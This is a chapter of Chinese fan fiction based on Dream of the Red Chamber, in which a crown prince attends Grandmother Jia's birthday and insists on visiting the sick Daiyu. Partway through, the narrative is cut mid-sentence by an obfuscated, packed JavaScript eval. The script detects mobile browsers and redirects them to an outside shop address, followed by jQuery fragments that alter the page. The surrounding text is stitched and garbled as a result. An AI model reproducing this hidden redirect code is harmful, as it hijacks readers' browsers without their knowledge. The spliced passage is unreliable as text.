贾母寿辰这日，荣国府自是喧阗盈天，热闹非凡。
府中张灯结彩，宾客往来如云。前头戏台上锣鼓笙箫正演得热闹，后头宴席间已是水陆杂陈，珍馐罗列，真真是烈火烹油，鲜花着锦的煊赫气象。
不多时，南安太妃的舆驾便至，贾母忙扶着鸳鸯的手起身相迎。
南安太妃与贾母见了礼，叙过寒温，便含笑问道：“怎么不见府上那位衔玉而生的哥儿？”
贾母闻言，脸上笑意更深了些，温声应道：“难为你这般记挂他。那孩子说今儿几个庙里都在念保安延寿经，定要亲自去跪经才显得诚心，一早就出门了，拦也拦不住，我只好由着他去。”
南安太妃听了，连连颔首，赞叹道：“这般年纪的孩子，正是爱热闹的时候，却能静得下心为长辈跪经祈福，这份纯孝的心性，实在难得。”
她说着，目光在堂内徐徐一转，又道：“常听人说，府上几位小姐都是极灵秀出众的，诗词针黹莫不精通。今日这般好日子，可都在跟前侍奉么？”
贾母笑道：“她们姐妹们年纪尚轻，怕在这边拘束了。便在后面厅上也传了一班小戏，正陪着她们姨妈看戏解闷呢。”
南安太妃笑容和煦：“何不请来一见？也让我瞧瞧，府上是怎样的好水土，养出这样齐整的千金来。”
贾母便回头，向侍立一旁的王熙凤吩咐：“去将姑娘们都请过来罢。”
不过片刻，便见王熙凤引着迎春、探春、惜春、宝钗、湘云一众姑娘进来。
众人按礼请安问好，南安太妃一一瞧过，目光温蔼，及至看到湘云，笑意愈深。史家与南安郡王府本是世交，湘云自幼便常来往，最是熟稔不过。
“你这小猴儿，既知道我来了，也不赶紧出来迎一迎，倒要等我开口请？赶明儿见了你叔叔，定要和他好好算算这笔账。”
湘云心中得意，脸上便露出几分娇憨：“我原是要来的，只是方才被二姐姐拉着说了会子诗，这才迟了。”
说笑间，南安太妃含笑抿了口茶，问道：“怎么不见林姑娘？听闻她抄录的经文，连圣上都赞许不已，说是笔端有灵，愿力殊胜。今日这等好日子，我倒想见见这位灵秀的姑娘。”
贾母脸上笑意未减：“那孩子前些日子贪看月色，不慎着了些风寒，这两日正咳嗽，怕过了病气给贵客，故而未曾出来见礼。待她大安了，再让她去府上给太妃请安。”
南安太妃面露憾色：“原是想见见那孩子，究竟是何等钟灵毓秀。既如此，自是保养身子要紧。来日方长，总有机会的。”
湘云方才正得意与太妃说笑，此刻听见太妃这般郑重问起黛玉，又这般遗憾，心中那点得意不免淡了些，正觉有些没趣，忽觉袖口被人轻轻扯了一下。她侧头，只见身旁的宝钗依旧端着温婉得体的笑容，目光却极快地朝自己递了一下，随即又垂下眼去。
湘云这才猛然想起，自己先前在蘅芜苑里，是如何拍着胸脯对宝姐姐保证，定要在南安太妃面前好好引荐她一番的。
她当下也顾不得方才那点微妙心思，忙挽住宝钗的手臂，笑着对南安太妃道：“您别只惦记林姐姐，我这位宝姐姐，最是温厚体贴，行事又大方周全，待我再好不过了！”
南安太妃方才已知晓宝钗是皇商薛家之女。家世虽富，终究门第有别，在她这等身份看来，实在算不得什么，只当是个沾亲带故的富家女儿，听过便罢。
此刻见湘云这般不识眉眼高低，拉着一个商贾之女到自己面前极力夸赞，心下不由微微摇头，只觉得这云丫头到底是在史侯府娇养得天真了些，实在不通世情深浅。
她面上不显，只顺着着湘云的话，客套地问了宝钗两句“今年多大”“平日读些什么书”，便望向宝钗身旁的探春。
只见探春年纪虽轻，顾盼间却有一股爽朗清气，与周遭闺秀的娇柔颇为不同，南安太妃心中不由生出两分好感，便向贾母笑道：“府上的三姑娘，瞧着便是个大方明理的好孩子，这通身的气派，真是难得。”
探春得南安太妃夸赞，心中却生出几分酸楚。
自己虽有志气，有才干，却因庶出的身份，常须收敛锋芒，以免落人口实。
今日满堂珠翠，贵胄云集，她本也只当是寻常陪衬，谁知南安太妃这般尊贵的人物，竟越过旁人，独独瞧见了自己，开口便是夸赞，这认可如同久旱逢甘霖，让她精神陡然一振。
她不敢有丝毫怠慢，忙行礼应答，举止比平日更添谨慎。
“好孩子，过来。”
南安太妃招手让探春近前，从自己腕上褪下一只玛瑙镯子，颜色鲜亮通透，显是常伴身旁的心爱之物。她亲手将那镯子戴在探春腕上，尺寸竟意外地贴合。
“这镯子跟着我有些年头了，今日见着你，觉得合该给你戴。模样好，气度也好，这才是我们这样人家女孩儿该有的品格。”
贾母坐在上首，将这番动静尽收眼底，面上露出些笑意，让王熙凤领姐妹们仍旧看戏去。
“这些孩子不在跟前，咱们倒好清清静静地说话。”
贾母与南安太妃又叙起家常闲话，正说着今年京中的天气，园里的秋景。
忽然，二门外传来一阵隐约的骚动，随即有管事媳妇疾步进来，也顾不得全礼，急急禀道：“老太太，外头……外头传进来话，太子殿下仪驾……已到了府门前！”
“什么？！”
贾母手中那盏温茶猛地一晃，茶水泼溅出些许，落在石青色的衣摆上，洇开一片深色。
她倏地站起身，脸上满是难以置信的震惊。南安太妃亦敛了笑容，眼中掠过一丝讶异。
太子亲临臣子家贺寿？这在本朝可是从未有过的事！
贾母到底是历经风雨，瞬间便强自镇定下来：“快！快开中门！不可有一丝怠慢！”
她一边急急吩咐，一边已扶了鸳鸯的手便要往外去迎，又猛地想起南安太妃尚在，忙转身欲告罪。
南安太妃已然起身：“老姐姐快去！天家恩典至此，乃府上莫大荣光，切莫因我耽搁了礼数。”
说着，便主动避至偏厅，以示尊卑。
贾母由鸳鸯搀扶着，刚行至荣庆堂外，便见一行人缓步而来。
当中一人，正是太子明昭。
他今日并未着明黄朝服，只穿了一身天青色云纹暗绣锦袍，腰束玉带，发绾金冠，形容清减，却愈显眉目疏朗，风仪清举，自有一种渊渟岳峙的从容。
身后跟着数名东宫属官与内侍，皆屏息凝神，举止恭敬。
贾母欲屈膝行礼，明昭却已快行两步上前，虚虚一扶，温声道：“老太君今日寿诞，不必行此大礼。孤此番前来，一为贺寿，二是时常念及府上乃功勋旧臣，今日既逢寿辰，理当亲至探望，以彰天家眷顾旧勋，体恤老臣之心。”
他言罢，目光微侧，侍立在旁的内侍总管郑福海立刻会意，展声宣道：“太子殿下贺荣国公夫人贾史氏寿辰，赐——”
随着他的唱喏，八名内侍双手高捧覆着明黄锦袱的朱漆托盘，低眉敛目，上前半步。
“赤金寿星一尊！”
“伽南沉香福寿拐一枝！”
“羊脂白玉如意一柄！”
“御制福寿绵长香珠一盒！”
“赤金如意锭一对，吉祥银锭四对！”
“江宁织造特贡云锦宫缎十二匹！”
贾母心中激荡，眼圈已有些发热，颤声道：“老身何德何能，竟劳动殿下亲临，臣阖府上下，感戴天恩，没齿难忘！”
她定了定神，忙将太子恭敬引入荣庆堂正厅，请其升座主位。
明昭却道：“寿星为上，孤旁坐即可。”
堂内一时安静下来。
贾母正暗自斟酌言辞，明昭已先开了口：“前番孤卧病之时，曾蒙府上的林姑娘诚心抄录经文，为孤祈福。此女乃前科探花，巡盐御史林公遗孤，忠良之后，又能怀此仁善纯孝之心，于孤实有恩义。”
他略作停顿，郑重道：“今日既到府上，于情于礼，都该当面谢过她这片心意。不知林姑娘此时可否方便？若在府中，还请老太君允我一见。”
贾母听在耳中，额角已渗出细密汗珠。
此刻若直言玉儿卧病，固然是实情，却难免有轻视殿下心意之嫌。可若让玉儿抱病出来见驾，万一失了仪态，或是过了病气，那更是滔天大祸！
她举棋不定，脸上却仍强撑着感激的笑纹，喉咙里像被什么堵住了，一时竟未能应声。
侍立在太子身侧的郑福海，见贾母面有难色，踌躇不语，只当她顾忌闺阁女子不宜面见外男，或是担心林姑娘年幼怯场。他深知太子此番破例亲临，这面谢林姑娘，怕是紧要的一环，便主动开口，温言劝解。
“老太君不必多虑。殿下乃国之储君，林姑娘是忠良之后。此番相见，殿下亲谢其祈福之诚，正显天家恩典浩荡，体恤臣下之心。老太君放宽心便是。”
贾母心中稍定，知道再推脱不得，亦不敢推脱。
她连忙起身，回禀道：“殿下隆恩，老身及玉儿感激不尽。原该即刻唤她来叩谢殿下天恩，只是……只是那孩子前些日子不慎着了风寒，这两日正有些咳嗽，精神短少，恐病容憔悴，失了仪态，更怕过了病气给殿下，那便是万死莫赎之罪了。故而老身方才迟疑，还望殿下恕罪。”
明昭闻言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959726|187924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，眸光沉了沉：“老太君过虑了。孤既是来酬谢恩情，岂有因些许微恙便却步之理？况且，林姑娘为孤祈福时，想必亦是诚心正意，不畏辛劳。如今她既身体不适，孤更该亲往探问，方显诚意，亦全了这份因果。”
话已说到这个份上，贾母忙躬身道：“殿下体恤入微至此，老身实在惶恐。既如此，便请殿下移步潇湘馆。”
贾母忙示意鸳鸯先行一步去潇湘馆传话准备，自己则亲自在前引路，一行人出了荣庆堂，穿过几重院落游廊，径往大观园方向而去。
潇湘馆内，秋光澹澹。
黛玉歪在临窗的榻上，就着秋日的暖阳，闲翻一卷旧年诗集。偶有凉风从窗隙钻入，惹得她喉间一阵发痒，便以绢子掩口，低低地咳了两声。
外头的喧闹隐隐传来，她只觉有些烦闷，正欲放下诗集，忽见帘子猛地一掀，鸳鸯急匆匆抢步进来，脸上红白交加，又是激动又是惶急，气都喘不匀。
“林姑娘！快！快准备接驾！”
黛玉不由愣住：“接驾？接谁的驾？”
“太子殿下！” 鸳鸯压低了声音，却压不住那股子急切，“殿下亲临府里给老太太贺寿，说起姑娘前番抄经祈福，特意问了姑娘，说要亲自来潇湘馆面谢！老太太已陪着往这边来了，说话就到！”
“太子？”
黛玉微微一怔，心头那点刚冒出的欢喜，还未暖透，便被一盆冰水兜头浇下，激得她浑身一颤。
若他来了，见了自己这张脸，与梦中“神女”一般无二，他会如何想？
那些无法解释的魂魄入梦，那些被他珍而重之的救赎之情，那些可遇不可求的知己之谊，一旦捅破这层窗户纸，岂是世俗所能容得？
“姑娘？姑娘！” 紫鹃见她脸色煞白，眼神空茫，吓得连忙扶住她，“您怎么了？可是吓着了？快定定神！”
鸳鸯也急道：“姑娘快些更衣梳妆吧，殿下转眼就到！”
更衣梳妆？不，不能让他看见！
黛玉心念电转，强压下心中惊惧，沉声道：“快！扶我躺到床上去！把帐子放下来。就说我病得厉害，起不得身，见不得风。”
潇湘馆外，竹径通幽。
贾母引着太子踏入院中，紫鹃早早掀起了正屋的门帘，垂首恭立在一旁。
贾母已得了鸳鸯的暗示，面上更添了几分小心：“殿下，那孩子就住在这里，只是病中怯弱，恐有失仪……”
“无妨。”
明昭的目光已越过贾母，投向半掩的门内。
屋子里的光线比外头稍暗，素屏、书案、瑶琴，皆笼在一片清寂的微光里。竹影透过窗纱，在地面洒下疏疏摇曳的淡痕，恍如有风在其间流动。
他举步而入。郑福海紧随其后，却在门槛内三步处便稳稳站定，随即拦住身后的贾母等人。
“老太君，殿下与林姑娘叙话，咱们在此等候便是。”
贾母脚步一顿，忙含笑止步，静静退至门外廊下。
室内静极，明昭的目光落在里间那顶垂落的青纱帐上。
层层帐幔，烟也似的轻垂着，隐约勾勒出榻上一个侧卧的纤细轮廓。锦被覆盖，乌发逶迤，露出的少许肌肤，在幽暗的光线下，白得有些触目惊心，仿佛失了血色。
他脚步微顿，旋即恢复如常，并未径直向床榻走去，反而缓步踱至外间临窗的一张椅子，安然落座。
这个距离，既能言语相通，又守足了男女之防与探病之礼。
“林姑娘。” 明昭开口，打破了室内的沉寂，“听闻你身体不适，孤今日过府，特来探望。前番你为孤抄经祈福，耗费心神，孤心甚为感念。”
帐内静默了一瞬，才传来一声沙哑的回应：“臣女病中失仪，未能……亲迎，万望殿下……恕罪。”
这声音断断续续，夹杂着一两声闷在锦被中的低咳，听着确是一副病骨支离，难以支撑的模样。
然而，这声音落入明昭耳中的刹那，他的心，像被一只无形的手狠狠攥住，又骤然松开，血液在瞬间倒流，又轰然冲回四肢百骸。
这声音，即便染上了病弱的沙哑，也抹不去那一缕深入骨血的熟悉。
那个在他最孤寂困顿的时光里，如幻影般出现，予他慰藉，让他魂牵梦萦又求之不得的神女……竟然并非虚幻，而是真真切切地存在于这尘世之中，就在眼前，仅隔着几层随风微动的青纱！
真相如此猝不及防，又如此清晰地摆在面前，明昭几乎能听见自己血液奔涌的轰鸣。
本能驱使他向前走了几步。
明昭抬起手，触上那层遮蔽视线的轻薄帐幔。
他要亲眼看见她。